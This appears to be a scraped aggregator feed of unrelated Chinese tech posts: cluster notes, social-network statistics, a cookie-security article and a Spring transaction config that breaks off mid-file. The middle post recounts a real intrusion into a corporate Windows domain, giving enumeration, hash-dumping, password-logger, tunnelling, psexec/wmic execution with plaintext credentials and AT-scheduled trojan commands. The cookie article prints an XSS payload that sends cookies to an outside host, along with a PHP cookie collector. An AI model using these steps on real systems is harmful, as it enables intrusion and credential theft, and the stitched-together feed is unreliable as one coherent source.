  分布式中的每一个节点,都可以做集群。 而集群并不一定就是分布式的。 

  举例:就比如新浪网,访问的人多了,他可以做一个群集,前面放一个响应服务器,后面几台服务器完成同一业务,如果有业务访问的时候,响应服务器看哪台服务器的负载不是很重,就将给哪一台去完成。 

  而分布式,从窄意上理解,也跟集群差不多, 但是它的组织比较松散,不像集群,有一个组织性,一台服务器垮了,其它的服务器可以顶上来。

  分布式的每一个节点,都完成不同的业务,一个节点垮了,那这个业务就不可访问了。

分享内网渗透域的经验积累

$
0
0

本来是在写一份详细的渗透过程,不过因为一直工作,很多细节没有办法当场记录,所以,暂时在BLOG上写一些能想到的,后面如果有时间有环境,会再补充更多的细节以及图片和在渗透时所遇到的麻烦,如何解决等写出来

by Ra1nker 

.ipconfig /all 

//可以查看到当前网卡配置信息,包括所属域以及IP段 

这个命令可以看到:主机名字—shwdm,IP–192.168.103.8,网关IP—192.168.103.10,DNS 域名解析地址IP—192.168.100.1,主WINS服务器IP—10.0.22.5 

2.net view 

//显示正由指定的计算机共享的域、计算机或资源的列表。如果在没有参数的情况下使用,则 net view 显示当前域中的计算机列表。 

可以看到我们当前域共有8台机器,我们的这台机器–SHWDM 也在其中 

3.ping 机器名 

//显示该机器名的IP 

如图PING BJCWSERVER,我们得到这个名字叫BJCWSERVER的主机IP为192.168.103.50 

4.net view /domain 

//查看有多少域 

5.net view /domain:testdomain(testdomain 假设为目标的其中一个域) 

//此命令是查看 testdomain域中的计算机列表 

我们分别查看这三个域中的计算机列表,可以查到MYGROUP域下面只有一台叫NCSERVER的机器,而且系统是LINUX的,是个SAMBA 服务器 

6.net user /domain 

//获取所有域用户列表 

7.net group /domain 

//获取域用户组信息 

8.net group “domain admins” /domain 

//查看与管理组成员 

9.net user domain-admin /domain 

//查看管理员登陆时间,密码过期时间,是否有登陆脚本,组分配等信息! 

10.net time /domain 

//可以查看域时间,以及域服务器的名字(快速查找域的方法之一 By LCX) 

 

总结下,通过这次信息收集,我们可以得到: 

 

1.这个内网的网关为 192.168.103.10,DNS 域名解析IP为192.168.100.1,主WINS服务器为10.0.22.5 

2.一共有三个域,其中WORKGROUP域下面有8台机器(本机亦属其域),POLYCOMRSS 域下面有一台,MYGROUP域下面有一台SAMBA SERVER,系统是LINUX 

1.收集信息。 

1-1.不论什么途径获得的内网机器,确定他在内网后,我们首先就要了解这台机器的所属人员,如果我们的目 标是公司,那我们就要了解这个人在公司里的职位,他是个什么身份,有多大的权利,这都关系到他在内网里的权限。因为,作为大公司,一个高权限的人他在内网 里所要用到的东西就多,那么相对他的机器,当然权限就会比一般普通员工的高很多,这在我的渗透过程中是常见的。 

既然有了他的机器,那么翻翻他的电脑这是必要的,如果你说要怎么翻,你可以尝试熟悉他的电脑甚至比他本人还熟,那你就算了解详细了。一台个人用的电脑,从上面翻出与他自己相关的一些信息,和大量公司信息应该是没有问题的,除非,这是台新电脑。 

1-2.了解了一定的人员信息,期间你要记下你所掌握到的账号,密码这些重要数据,以后有一定的用,所以, 在你渗之前,不妨建个记事本将重要信息保存起来,写个记事本不会浪费你多少时间。接下来,我们就应该对这个网络进行一定的了解,他是一般的内网,还是域? 一般大公司都会用域的,我们只需要查一下就知道,要想对他进行渗透,你就必须了解他的网络拓补,当然,一些太具体的物理上我们是无法了解的,我们只能了解 我们所能知道的。不管他是INT,DMZ,LAN,我们必须足够掌握。在这,我们就会用到一定的命令,相信大家应该都很熟悉。 

ipconfig /all 查询一下本机的一些情况,IP段 网关 属于不属于域 

net view 查询一些存在联系的机器,一般以机器名显示,我们需要对其PING出IP,一是方便查询哪些重要机器的IP,二是方便查询存在几个段 

net view /domain 查询有几个域 因为大型网络里面一般不止一个域的 

net group /domain 查询域里面的组 

net user /domain 查询域用户 

net group “domain admins” /domain 查询域管理用户组 

 

这些都是我们需要了解的,当然有时候还会需要再查询一些信息,NET命令下你们都会找到,不需要我再重复,具体的情况具体分析问题。 

 

2.信息归档 

 

2-1。有了信息,我们就要对信息进行一定的归档,将每个机器名所对应的IP归档,方便用时不会乱。 

2-2。查询出的用户,管理员,我们也必须归档。 

2-3。查询信息时可能出现的有利用价值信息必须归档。 

 

3.技术利用 

 

3-1。不论是通过键盘记录。或者HASH的抓取,我们需要将账号,密码,邮箱,凡是涉及关键数据的全部保存,一方面是准备渗透的资料,二是防止当前利用机器会掉。 

3-1-1。利用远控的键盘记录进行抓取。 

3-1-2。利用PWDUMP7或者GETHASHES进行抓取HASH,然后破解。GETHASHES V1.4后 可以抓取域的全部HASH。 

3-1-3。用GINASTUB.DLL获取管理员的账号和密码。因为域管理员有权限登陆任何一台机器。种上这个只是方便记录他所登陆的密码。INSTALL后,会在SYSYTEM32下生成一个 FAXMODE.INC 文件记录密码。 

3-2。有了内网,很多东西我们是没有必要直接在当前利用机器上操作的,别人虽然是内网,但是不代表他没有防御系统,所以,我们建立SOCKS或者VPN是很有必要的,建立SOCKS相信大家都会了吧。 

3-2-1。我在这推荐 VIDC 这个工具,很方便,在CMD下直接操 VIDC.EXE -D -P PORT 就可以了。 

3-2-2。在利用机器上使用LCX,CMD下 LCX.EXE -SLAVE 服务器IP PORT 127.0.0.1 PORT,然后到服务器上 CMD下 LCX.EXE -LISTEN 服务器IP PORT 任意PORT。 

3-2-3。建立SOCKS后在本地可以用SOCKSCAP来进行连接,成功连接后该操作什么就看你们自己了。 

 

基本上我们就只能操作这么多了,后面已经没有什么技术上的再使用或利用,但是这中间的经验不少,所需要处理的细节也不少。 

我们在得到内网机器后,如果他存在域,但是没有使用域账号怎么办?那我们只能查询或者想尽一切手段获得他常用的账号密码,然后利用这个账号密码,再通过SOCKS进入域。这其中就关系到各位同行查看控制机器的文件,还有记录密码,GINA,HASH破解,这些都是必须的。 

 

进入域后,我们又该怎么做,建立SOCKS后又该怎么做。我们可以扔S上去查看主要的端口,我们可以对端口 进行弱口令的尝试,我们可以针对内网的WEB进行检测,方式很多,甚至你可以用MS08-067对另一台机器进行突破,但是相信我,能使用域的机器,大部 分都是补丁打齐的。我们能利用的很少,但是不能灰心,只要能在内网穿梭,我们至少在防御上会轻松很多,我们需要的只是耐心和时间。 

一旦拥有密码,我们就可以尝试IPC连接,直接拿下域,这就得看你们的权限有多大。 

 

net use \\IP\ipc$ password /user:username@domain 

 

推荐使用这样的方式输入账号和密码,为什么?如果用户名存在空格,你这样输会保险些。什么 域用户不能存在空格? 

是的,以前我也认为不会,微软的讲师也说不会,不过,经过我的测试和经验,那是假的,域 完全可以空格,除了 user name 这样的,还可以存在 user na me ,不信 你可以试试。 

建立IPC后,你只是想COPY文件 或者 RAR文件 再或者种马 那就是你的自由了。 

后话:最近因为在渗域,在渗透过程中,也确实出现一些问题,几次都是不知如何进行,其实在技术上,并没有什么障碍。主要是在于对方有着比较强的主防御,而 我的远控最开始连CMD都无法执行,后经过几天的环境测试,突破了CMD。有了CMD后,进行了查询,获得了一些信息,就开始了往下的渗透,被控机器的密 码我不是跑出来的,我是翻他的文件翻出他常用密码的。因为他没有使用域账号,都是以系统账号登陆,所以无法查看域。我只能用他的域账号建立IPC连接,查 找到内网的一个WEB服务,将其渗透后才算拿下了一个稳定的内网机器。 

拿下内网WEB服务器后,我就已经完全在域内,没有使用HASH INJECTION,我是先查询了DOMAIN ADMINS,发现WEB服务器上的账号就属于这个组,PW后得到了HASH,破解掉我就连向了域控服务器的IPC$。 

 

连接了IPC$,直接在其SYSYTEM32下扔了一个远控,然后用AT命令将其启动,这期间我尝试了5个SHIFT,但是SHIFT关闭后,我的远控也会掉,所以排除了这种方法,还是用AT来ADD NEW JOB 比较方便。 

给域控服务器种了远控,利用CMD来GETHASHES了全部的HASHES进行破解,很幸运的查到了文件管理组的用户,这才有了我后面的目标达成。 

总的来说,我这次的渗透比较运气好,中间麻烦事不是太多,不过也花了半个月的时间,时间大部分花在测试防御环境,软件免杀,木马免杀,查找资料这些上面。 

后来,我获取了他的网络拓补图,发现我所呆的区域只是一个小小的域,还有好几个域我还没有涉及到,在域的前面是DMZ,而DMZ前面当然是INT了。 

已经很晚了,本来是在写一份详细的渗透过程,不过因为一直工作,很多细节没有办法当场记录,所以,暂时在BLOG上写一些能想到的,后面如果有时间有环境,会再补充更多的细节以及图片和在渗透时所遇到的麻烦,如何解决等写出来。 

 

常用命令 

net view 

查看同一域/工作组的计算机列表 

net view /domain 

查看域/工作组列表 

net view /domain:Secwing 

查看Secwing域中 计算机列表 

net group /domain 

查看所在域的组 

net user /domain 

查看所在域用户 

net user /domain zerosoul 12345678 

修改域用户密码,需要域管理员权限,或者Ctrl+Alt+Del点击修改则不需要域管理员权限 

net localgroup administrators SECWING\zerosoul /add 

域Users组用户添加到本地Administrators组,需要本地管理员或域管理员在本机登陆域后进行 

下面的命令 只能用于 域控制器: 

net group “Domain controllers” 

查看域控制器(如果有多台) 

net group 

查看域的组 

net group “domain admins” 

查看域管理员 

net group “domain users” 

查看域管理员 

PS:打开配置域控制器向导的命令 

dcpromo 

psexec /accepteula 绕过第一次验证窗口 

mstsc/admin 解决hash无法抓出问题 

wmic /node:172.16.19.96 /user:ABIMAQ\Administrator /password:k78m90 process call create c:\kav\2009.exe 

psexec.exe -s -u administrator -p k78m90 \\172.16.16.2 -c c:\kav\2009.exe 拷贝文件并且执行 

psexec.exe -s -u administrator -p km3h7i \\172.16.16.2 -c c:\kav\gsecdump.exe -u 抓取hash 

net use \\172.16.16.2\IPC$ “k78m90″ /user:”admintitrator” 

net use \\172.16.16.2\IPC$ “k78m90″ /user:”aABIMAQ\Administrator” 

net time \\172.16.16.2 

at \\172.16.16.2 13:50 2009.exe 

java reDuhClient fdc1.cnhan.com http 80 /admin/reduh.aspx reduh连接命令 

[createTunnel]1234:127.0.0.1:3389 端口转向命令 

iam-alt -h user-hash 这样hash就被注入了 

whosthere-alt.exe 来查看是否被注入成功。



已有 0人发表留言,猛击->> 这里<<-参与讨论


ITeye推荐




美国的社交网络现状是什么样的

$
0
0

美国的社交网络现状是什么样的

社交网络用户的统计情况一直在发生变化,老牌的社交网络日渐达到饱和状态,新出现的社交信息应用很快就得到了年轻人的青睐。

BusinessInsider 旗下的市场研究机构 BI Intelligence 发布了一份研究报告,归纳整理了十多家社交网络的用户统计数据,或许我们可以从中看出社交媒体用户构成情况的变化趋势。

包括 Facebook、Google+、Twitter、LinkedIn 甚至 Pinterest 等在内的社交网络对 25 岁至 34 岁年龄段的用户的依赖性越来越强,而另外一些社交网络比如 Snapchat 和 Tumblr 仍是青少年用户的最爱。

以下就是 BI Intelligence 的报告得出的一些结论:

1、 Facebook 仍然严重依赖女性用户。据 2013 年的一项调查显示,美国的女性比男性更喜欢使用 Facebook。

2、 对于美国的青少年用户来说,Facebook 仍然是最大的社交网络。Facebook 的青少年用户中约有一半的人说他们使用 Facebook 的时间比去年更长了,使用频率也更高了,Facebook 的每日青少年用户数量比其他任何社交网络都要多。

3、 据说 Instagram 已经超过 Facebook 和 Twitter 成为年轻用户首选的社交网络。据派杰(Piper Jaffray)的调查显示,美国的青少年认为 Instagram 才是最重要的,Facebook 和 Twitter 已经丧失了这一地位。调查还发现,美国富裕家庭的青少年中有 83% 的人已经是 Instagram 的用户了。

4、 LinkedIn 在美国成年人用户中比 Twitter 更为流行。LinkedIn 的核心用户是年龄在 30 岁到 49 岁之间的用户,这些人正处于他们的事业上升期。

5、 Twitter 已经开始去努力吸引男性用户的关注,而以前它在用户性别上并不存在任何的倾向性。美国市场调研组织皮尤(Pew)调查发现,约有 22% 的男性已经在使用 Twitter,而女性用户只有 15% 的人使用该社交网络。

6、 对于年龄在 18 岁到 34 岁的用户们来说,YouTube 比任何一家有线电视网络更有吸引力。在这个年龄段的消费者中,约有一半的人曾在 2013 年 12 月至 2014 年 2 月期间访问过 YouTube 网站。新千年一代将 YouTube 作为观看视频内容的首选来源,Facebook 和 ESPN 均排在它的后面。

7、 Snapchat 是最年轻的社交网络。据市场调查公司 Informate 调查显示,Snapchat 六成以上的用户年龄在 18 岁到 24 岁之间,相比之下 Instagram 的该年龄段用户占比仅为 28%。(林靖东)‍

本文链接

深入解析Cookie技术

$
0
0

0×00 引言

在Web技术的发展史上,Cookie技术的出现是一次重大的 变革。但是, Cookie技术又是一项非常有争议的技术,从它诞生之日起就成了广大网络用户和Web开发人员的一个争论焦点,原因不是Cookie的功能太弱,而是认为Cookie的使用会对网络用户的隐私信息构成危害。 

Cookie技术最先被Netscape公司引入到Navigator浏览器中。之后,WoridWideWeb协会支持并采纳了Cookie标准,微软也在InternetExpiorer浏览器中使用了Cookie。现在,绝大多数浏览器都支持Cookie,或者至少兼容Cookie技术的使用。目前,几乎所有的网站设计者都使用了Cookie技术。Cookie的广泛使用导致了人们对个人信息安全的担忧。有的网站和机构滥用Cookie,未经访问者的许可就搜集他人的个人资料,达到构建用户数据库、发送广告等营利目的,造成用户隐私信息的泄露。 

有鉴于此,系统研究Cookie的技术特性及其存在的安全问题,研究防范Cookie泄露用户隐私信息的措施,不仅能使个人信息的安全得到保障,而且能更安全地利用Cookie技术服务于互联网应用。

0×01 Cookie技术分析 

1.1 Cookie定义及其功能 

按照Netscape官方文档中的定义,Cookie是指在HTTP协议下,服务器或脚本可以维护客户端计算机上信息的一种方式 。通俗地说,Cookie是一种能够让网站Web服务器把少量数据储存到客户端的硬盘或内存里,或是从客户端的硬盘里读取数据的一种技术。 Cookie文件则是指在浏览某个网站时,由Web服务器的CGI脚本创建的存储在浏览器客户端计算机上的一个小文本文件,其格式为:用户名@网站地址 [数字].txt。

Cookie文件记录了用户的有关信息,如身份识别号码ID、密码、浏览过的网页、停留的时间、用户在Web站点购物的方式或用户访问该站点的次数等,当用户再次链接Web服务器时,浏览器读取Cookie信息并传递给Web站点。 

Cookie文件信息片断以“名/值”对(name-vaiuepairs)的形式储存,一个“名/值”对仅仅是一条命名的数据。例如,访问 www.goto.com网站,则该站点可能会在客户端电脑上产生一个包含以下内容的Cookie文件:UserIDA9A3BECE0563982Dwww.goto.com/。goto.com在电脑上存入了一个单一的“名/值”对,其中的“名”是UserID,“值”是A9A3BECE0563982D。

Cookie文件的存放位置与操作系统和浏览器密切相关,这些文件在Windows机器里叫做Cookie文件,在Macintosh机器里叫做MagicCookie文件。对Windows和IE浏览器而言,Cookies文件的存放位置为:

Win9X操作系统:C:\Windows\Cookies;
Winme操作系统:C:\Windows\profiies\用户名\Cookies;
Win2K操作系统:C:\Windows\Cookies;
WinXP操作系统:C:\DocumentsandSet-tings\用户名\Cookies。
Win7以上操作系统:C:\Users\用户名\AppData\Roaming\Microsoft\Windows\Cookies

Cookie的主要功能是实现用户个人信息的记录,它最根本的用途是帮助Web站点保存有关访问者的信息。更概括地说,Cookie是一种保持Web应用程序连续性(即执行状态管理)的方法。 

HTTP协议是一种无状态、无连接的协议,不能在服务器上保持一次会话的连续状态信息。随着WWW的不断发展,HTTP的无状态性不能满足某些应用的需求,给Web服务器和客户端的操作带来种种不便。在此背景下,提出HTTP的状态管理机制———Cookie机制,它是对HTTP协议的一种补充,以保持服务器和客户端的连续状态。

1.2 Cookie基本工作原理

Cookie使用HTTPHeader传递数据。Cookie机制定义了两种报头:Set-Cookie报头和Cookie报头。Set-Cookie报头包含于Web服务器的响应头(ResponseHeader)中,Cookie报头包含在浏览器客户端请求头(ReguestHeader)中。

Cookie的运行过程如图所示,具体分析如下

Cookie的运行过程图

(1)客户端在浏览器的地址栏中键入Web服务器的URL,浏览器发送读取网页的请求。 

(2)服务器接收到请求后,产生一个Set-Cookie报头,放在HTTP报文中一起回传客户端,发起一次会话。 

(3)客户端收到应答后,若要继续该次会话,则将Set-Cook-ie中的内容取出,形成一个Cookie.txt文件储存在客户端计算机里。

(4)当客户端再次向服务器发出请求时,浏览器先在电脑里寻找对应该网站的Cookie.txt文件。如果找到,则根据此Cookie.txt产生Cookie报头,放在HTTP请求报文中发给服务器。

(5)服务器接收到包含Cookie报头的请求,检索其Cookie中与用户有关的信息,生成一个客户端所请示的页面应答传递给客户端。 浏览器的每一次网页请求,都可以传递已存在的Cookie文件,例如,浏览器的打开或刷新网页操作。

0×02 Cookie应用 

(1)实现Web中的用户认证

HTTP协议一个很大的缺点就是不作用户身份的判断,这 给编程人员带来很大的不便,而Cookie弥补了这个缺陷。大多数站点在进行用户身份认证时都采用Cookie机制,使用户在通过第一次身份认证以后,无需再多次输入其用户帐号、口令密码等,这样能省去用户登录的繁琐。

(2)定制个性化空间 

Cookie技术方便Web站点为不同用户订制信息,给用户提供个性化、更友好的浏览环境,并能更加准确地收集访问者的信息。例如,为用户提供改变网页内容、布局和颜色的权力,允许用户输入自己的信息,然后通过这些信息对网站的一些参数进行修改,以订制网页的外观。 

另外,由于费用、带宽限制等原因,用户访问一个站点时并不希望浏览网页所有的内容。利用Cookie技术根据个人喜好设定栏目,动态地产生用户所需要的内容,这样能够迎合不同层次用户的访问兴趣,减少用户项目选择的次数,更加合理地利用Web服务器的传输带宽。 (3)网站访问统计 

由于代理服务器、缓存等的使用,使得能帮助网站精确统计来访人数的方法只能是为每个访问者建立一个唯一的ID。使用Cookie,网站可以完成以下工作:测定多少人访问过;测定访问者中有多少是新用户、多少是老用户;测定一个用户多久访问一次网站。 

基本方法是:借助于后台数据库,在用户第一次访问该网站时,网站在数据库中建立一个新的ID,并把ID通过Cookie传送给用户。用户再次来访时,网站把该用户ID对应的计数器加1,得到用户的来访次数或判断用户是新用户还是老用户。 

下面设计一段用ASP编写的利用Cookie计数的程序,它具有对用户访问该页面进行计数的功能:    

<%@LANGUAGE=JScript%><%Varcount=""; 
count=Reguest.Cookies("countnumber");
count=(parseInt(count,l0)+l).toString();Response.Cookies("countnumber")=count;
%>

(4)维护在线电子商务客户信息 

在线订购商务中使用Cookie技术,可记载用户想购买的物品。用户往“购物车”里投放商品,网站便在数据库中用户的ID记录里记录下来。当用户“买单”时,网站通过ID检索数据库中用户的所有选择就知道“购物车”里的物品项目。Cookie能简化订购中的操作,使网上购物更接近现实生活。 

(5)记录站点轨迹 

再次访问同一网站时Cookie具有被读回的特性。利用这一特性来实现很多的设计功能,如显示用户访问该网页的次数;显示用户上一次的访问时间;记录用户以前在本页中所做的选择等,这可以免去研究复杂的CGI编程。

0×03 Cookie的安全性问题 

Cookie的目的是为用户带来方便,为网站带来增值,一般情况下不会造成严重的安全威胁。Cookie文件不能作为代码执行,也不会传送病毒,它为用户所专有并只能由创建它的服务器来读取。另外,浏览器一般只允许存放300个Cookie,每个站点最多存放20个Cookie,每个Cookie的大小限制为4KB,因此,Cookie不会塞满硬盘,更不会被用作“拒绝服务”攻击手段。 

但是,Cookie作为用户身份的替代,其安全性有时决定了整个系统的安全性,Cookie的安全性问题不容忽视。 

(1)Cookie欺骗 Cookie记录了用户的帐户ID、密码之类的信息,通常使用MD5方法加密后在网上传递。经过加密处理后的信息即使被网络上一些别有用心的人截获也看不懂。然而,现在存在的问题是,截获Cookie的人不需要知道这些字符串的含义,只要把别人的Cookie向服务器提交,并且能够通过验证,就可以冒充受害人的身份登陆网站,这种行为叫做Cookie欺骗。 

非法用户通过Cookie欺骗获得相应的加密密钥,从而访问合法用户的所有个性化信息,包括用户的E-mail甚至帐户信息,对个人信息造成严重危害。

(2)Cookie截获 

Cookie以纯文本的形式在浏览器和服务器之间传送,很容易被他人非法截获和利用。任何可以截获Web通信的人都可以读取Cookie。 

Cookie被非法用户截获后,然后在其有效期内重放,则此非法用户将享有合法用户的权益。例如,对于在线阅读,非法用户可以不支付费用即可享受在线阅读电子杂志。 

Cookie截获的手段有以下一些。

(1)用编程手段截获Cookie。下面分析其手法,该方法分两步完成。 步骤一:定位需要收集Cookie的网站,对其进行分析并构造URL。 首先打开要收集Cookie的网站,这里假设是http://www.XXX.net,登陆网站输入用户名“<Al>”(不含引号),对数据进行分析抓包,得到如下代码:

http://www.XXX.net/tXl/login/login.pl?username=<Al>&passwd=&ok.X=28&ok.y=6;

将其中“<Al>”更换为:

“<script>alert(document.cookie)</script>”再试,如果执行成功,就开始构造URL:

http://www.XXX.net/tXl/login/login.pl?username=<script>window.open (“http://www.cbifamily.org/cbi.php?”%2bdocument.cookie)</script>&passwd=&ok.X=28&ok.y=6.

其中http://www.cbifamily.org/cbi.php是用户能够控制的某台主机上的一个脚本。需要注意的是“%2b”为符号“+”的URL编码,因为“+”将被作为空格处理。该URL即可在论坛中发布,诱使别人点击。

步骤二:编制收集Cookie的PHP脚本,并将其放到用户可以控制的网站上,当不知情者点击了构造的URL后可以执行该PHP代码。该脚本的具体内容如下:

<?php 
$info=getenv("OUERY_STRING"); 
if($info){  
$fp=fopen("info.tXt","a");  
fwrite($fp,!info."\n"); 
fclose($fp);
} 
header("Location:http://www.XXX.net");
?>

将这段代码放到网络里,则能够收集所有人的Cookie。如果一个论坛允许HTML代码或者允许使用Flash标签,就可以利用这些技术收集Cookie的代码放到论坛里,然后给帖子取一个吸引人的主题,写上有趣的内容,很快就可收集到大量的Cookie。在论坛上,有许多人的密码就是被这种方法盗走的。 

(2)利用Flash的代码隐患截获Cookie。Flash中有一个getURL()函数。Flash可以利用这个函数自动打开指定的网页,它可能把用户引向一个包含恶意代码的网站。例如,当用户在电脑上欣赏Flash动画时,动画帧里的代码可能已经悄悄地连上网,并打开了一个极小的包含有特殊代码的页面,这个页面可以收集Cookie、也可以做一些其他有害的事情。网站无法禁止Flash的这种作为,因为这是Flash文件的内部功能。

(3)Cookie泄漏网络隐私 

Cookie导致网络隐私泄密的主要原因是:!商业利益驱动。随着电子商务的兴起和互联网上巨大商机的出现,一些网站和机构滥用Cookie,未经访问者的许可,利用搜索引擎技术、数据挖掘技术甚至是网络欺骗技术搜集他人的个人资料,达到构建用户数据库、发送广告等营利目的,造成用户个人隐私的泄漏。"Cookie信息传递的开放性。Cookie文件具有特殊的传递流程 和文本特性,在服务器和客户端之间传送未经安全加密的Cook-ie文件,易导致个人信息的泄密。

0×04 防范Cookie泄密的安全措施

面对Cookie的安全问题,如何才能安全地应用Cookie呢?

(1)加强安全防范意识 

Cookie相对来说是无害的,但它能用于跟踪用户,使用Cookie必须意识到其固有的安全弱点。 

保存在Cookie中的内容,完全有可能是用户的私人数据。例如,网站为了方便用户,利用Cookie来保存会员的注册信息:电子邮件地址、网站的用户名、用户密码、信用卡号码等,以便用户以后登录该网站时不用重新输入这些数据。如果有人盗取了这样的Cookie文件,他就可以冒充登录网站,这将对用户的个人信息安全构成不可预测的威胁。 

因此,只在Cookie中保存一些不重要的数据,如用户首选项或其它对应用程序没有重大影响的信息。如果确实需要在Cook-ie中保存某些敏感信息,就要对其加密,以防被他人盗用。可以对Cookie的属性进行设置, 使其只能在使用安全套接字层(SSL)的连接上传输。SSL并不能防止保存在用户计算机上的Cookie被他人读取或操作,但能防止Cookie在传输途中被他人截获。

(2)配置安全的浏览器 

IE和Netscape浏览器的工具栏里,都有禁止Cookie的设置选项,都可以设置当某个站点要在用户的计算机上创建Cookie时,是否给出提示。这样用户就可以选择允许或拒绝创建Cook-ie。需要注意的是,某些网站的应用必须使用Cookie,简单地禁止可能导致无法正常浏览此类网站。 

使用IE6会更安全。最新的IE6提供了多种隐私保护功能,包括:查看网站的P3P隐私策略,以了解该网站如何使用个人可识别信息;通过Cookie隐私设置决定是否允许将网站的Cookie保存在计算机上;在访问不符合隐私设置条件的站点时发出隐私警报。用户可以有选择性地设置Cookie。

(3)安装Cookie管理工具 

①CookieCrusher。LimitSoftware公司的Crusher适用于Netscape用户,其功能有:管理计算机上已有的Cookie、设置禁止或允许创建Cookie的网站列表、在创建新Cookie与修改已经存在的Cookie时发出警告、禁止第三方网站Cookie、实时控制接受或拒绝来自站点的Cookie、记录Cookie活动日志、编辑Cookie等,并且在网上浏览时,程序独创的分析功能可以自动确定网站要求创建的Cookie的目的,如:判断网站是把Cookie用于存储用户输入的资料还是准备利用Cookie跟踪用户的浏览习惯等。

②CookiePaI。除了浏览器能使用Cookie, 其它的互联网软件也可能使用,如邮件程序等。为了维护网络隐私的安全,同时又能保证一些互联网软件正确地使用Cookie文件,可以安装Kooka-burraSoftware公司的支持多种软件的Cookie管理工具CookiePaI。它专门用于Cookie管理,支持用户查看、删除、编辑已经存在的Cookie,自动地实时控制是否接受Cookie,根据过期时间过滤Cookie,它还能够记录Cookie的活动,编辑拒绝或允许Cookie的网站列表。

(4)删除内存中的Cookies 

Cookie的信息并不都是以文件形式存放在硬盘中,还有部分信息保存在内存里。这类Cookie通常是用户在访问某些特殊网站时,由系统自动在内存中生成的。一旦访问者离开该网站,系统又自动将Cookie从内存中删除。对此,需要借助注册表编辑器来修改系统设置,运行Regedit,找到如下键值: 

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur-rentversion\InternetSettings\Cache\SpeciaIPaths\Cookies,这是Cookies在内存中的键值,把这个键值删除。右键单击“Cook-ies”,再单击快捷菜单中的“删除”命令确认删除。

(5)使用AAS技术

2002年,美国IngrianNetworks公司发表了可以使Web站点 免受“CookiePoisoning(Cookie篡改)”攻击的平台“ActiveAppIi-cationSecurity(AAS)”。AAS平台能对Cookie内部的重要信息进行加密处理,并附上电子签名。Web服务器每次和客户端进行通信时,将利用电子签名对Cookie的内容进行确认。如果恶意用户删除了电子签名或者更改了信息内容,将会使电子签名和Cookie的内容无法再匹配。这时,AAS便会阻止这条Cookie并拒绝向Web站点返回信息。另外,该平台还对Cookie内容进行了3DES加密,解密需要口令,通过这种方法安全地保存Cookie。WWW服务器和客户端之间的通信还全部利用了SSL连接方式,以确保通信路由的安全。通过综合运用电子签名、加密、SSL连接等技术组成强效的安全方案,可以排除通信路由及数据存储两方面存在的脆弱性,杜绝对Cookie的篡改。

0×05 结束语

Cookie是Web服务器发送的存储在客户端系统中以备未来查询的少量信息。Cookie的主要目的是保存信息,主要用途是存储用户的标志和密码,另外还可以存储用户所有可能设置的偏好。从编程的角度来看,Cookie可用于解决状态管理问题。 

事实上,信息若不与个人信息相联系,Cookie相对来说是无害的。然而,Cookie能用于跟踪用户,存在Cookie欺骗、泄露隐私等安全性问题,会对网络用户的信息安全构成威胁。

加强防范意识,了解Cookie固有的安全弱点;配置安全的浏览器;使用Cookie管理工具;利用电子签名、加密、SSL连接等技术对Cookie数据进行加密处理传输,这些措施能有效地防止Cookie泄露用户隐私,保障个人信息安全,从而使Cookie能够更安全地服务于Web应用。 

尽管Cookie技术存在争议,但它不会消亡,需要研究更好的安全技术对其完善和发展。Cookie技术未来将拥有更大的生存和发展空间。

此为知识堂系列(Author @猫友)第一篇,敬请关注后续篇章。

Spring声明式事务管理与配置介绍

$
0
0
资料来源:http://java.9sssd.com/javafw/art/1215


一、Spring声明式事务配置的五种方式

前段时间对Spring的事务配置做了比较深入的研究,在此之间对Spring的事务配置虽说也配置过,但是一直没有一个清楚的认识。通过这次的学习发觉Spring的事务配置只要把思路理清,还是比较好掌握的。

总结如下:

Spring配置文件中关于事务配置总是由三个组成部分,分别是DataSource、TransactionManager和代理机制这三部分,无论哪种配置方式,一般变化的只是代理机制这部分。

DataSource、TransactionManager这两部分只是会根据数据访问方式有所变化,比如使用Hibernate进行数据访问时,DataSource实际为SessionFactory,TransactionManager的实现为HibernateTransactionManager。

具体如下图:



根据代理机制的不同,总结了五种Spring事务的配置方式,配置文件如下:

第一种方式:每个Bean都有一个代理

View Row Code
1 <?xml version="1.0" encoding="UTF-8"?>
2 <beans xmlns="http://www.springframework.org/schema/beans"
3     xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:context="http://www.springframework.org/schema/context"
4     xmlns:aop="http://www.springframework.org/schema/aop"
5     xsi:schemaLocation="http://www.springframework.org/schema/beans
6            http://www.springframework.org/schema/beans/spring-beans-2.5.xsd
7            http://www.springframework.org/schema/context
8            http://www.springframework.org/schema/context/spring-context-2.5.xsd
9            http://www.springframework.org/schema/aop http://www.springframework.org/schema/aop/spring-aop-2.5.xsd">
10
11     <bean id="sessionFactory" class="org.springframework.orm.hibernate3.LocalSessionFactoryBean">
12         <property name="configLocation" value="classpath:hibernate.cfg.xml" />
13         <property name="configurationClass" value="org.hibernate.cfg.AnnotationConfiguration" />
14     </bean>
15
16     <!-- 定义事务管理器(声明式的事务) -->
17     <bean id="transactionManager" class="org.springframework.orm.hibernate3.HibernateTransactionManager">
18         <property name="sessionFactory" ref="sessionFactory" />
19     </bean>
20
21     <!-- 配置DAO -->
22     <bean id="userDaoTarget" class="com.bluesky.spring.dao.UserDaoImpl">
23         <property name="sessionFactory" ref="sessionFactory" />
24     </bean>
25
26     <bean id="userDao" class="org.springframework.transaction.interceptor.TransactionProxyFactoryBean">
27         <!-- 配置事务管理器 -->
28         <property name="transactionManager" ref="transactionManager" />
29         <property name="target" ref="userDaoTarget" />
30         <property name="proxyInterfaces" value="com.bluesky.spring.dao.GeneratorDao" />
31         <!-- 配置事务属性 -->
32         <property name="transactionAttributes">
33             <props>
34                 <prop key="*">PROPAGATION_REQUIRED</prop>
35             </props>
36         </property>
37     </bean>
38 </beans>
第二种方式:所有Bean共享一个代理基类

View Row Code
1 ......
2     <bean id="sessionFactory" class="org.springframework.orm.hibernate3.LocalSessionFactoryBean">
3         <property name="configLocation" value="classpath:hibernate.cfg.xml" />
4         <property name="configurationClass" value="org.hibernate.cfg.AnnotationConfiguration" />
5     </bean>
6
7     <!-- 定义事务管理器(声明式的事务) -->
8     <bean id="transactionManager" class="org.springframework.orm.hibernate3.HibernateTransactionManager">
9         <property name="sessionFactory" ref="sessionFactory" />
10     </bean>
11
12     <bean id="transactionBase" class="org.springframework.transaction.interceptor.TransactionProxyFactoryBean" lazy-init="true" abstract="true">
13         <!-- 配置事务管理器 -->
14         <property name="transactionManager" ref="transactionManager" />
15         <!-- 配置事务属性 -->
16         <property name="transactionAttributes">
17             <props>
18                 <prop key="*">PROPAGATION_REQUIRED</prop>
